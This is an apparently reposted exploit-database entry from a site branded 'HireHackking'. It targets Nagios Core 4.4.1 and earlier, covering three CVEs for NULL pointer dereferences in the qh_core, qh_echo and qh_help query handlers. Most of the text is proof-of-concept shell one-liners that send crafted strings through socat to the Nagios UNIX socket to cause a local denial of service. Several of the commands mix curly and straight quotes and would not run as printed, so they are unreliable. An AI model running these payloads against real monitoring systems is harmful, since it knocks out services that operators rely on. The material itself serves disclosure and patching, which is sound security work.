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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: Nagios Core Multiple Local Denial of Service
# Date: 2018-07-09
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)
# Vendor Homepage: https://www.nagios.org/
# Software Link: https://www.nagios.org/downloads/nagios-core/
# Version: 4.4.1 and earlier
# Tested on: 4.4.1


qh_core, qh_help, and qh_echo in Nagios Core 4.4.1 and earlier is prone to a NULL pointer dereference vulnerability, which allows attackers to cause a local denial-of-service condition by sending a crafted payload to the listening UNIX socket.

1. [CVE-2018-13458] qh_core

$ echo -ne “#core\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@core\0" | socat unix-connect:./poc/nagios.qh -

2. [CVE-2018-13457] qh_echo

$ echo -ne "#echo\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@echo\0" | socat unix-connect:./poc/nagios.qh -

3. [CVE-2018-13441] qh_help

$ echo -ne “#help\0" | socat unix-connect:./poc/nagios.qh -
$ echo -ne “@help\0" | socat unix-connect:./poc/nagios.qh -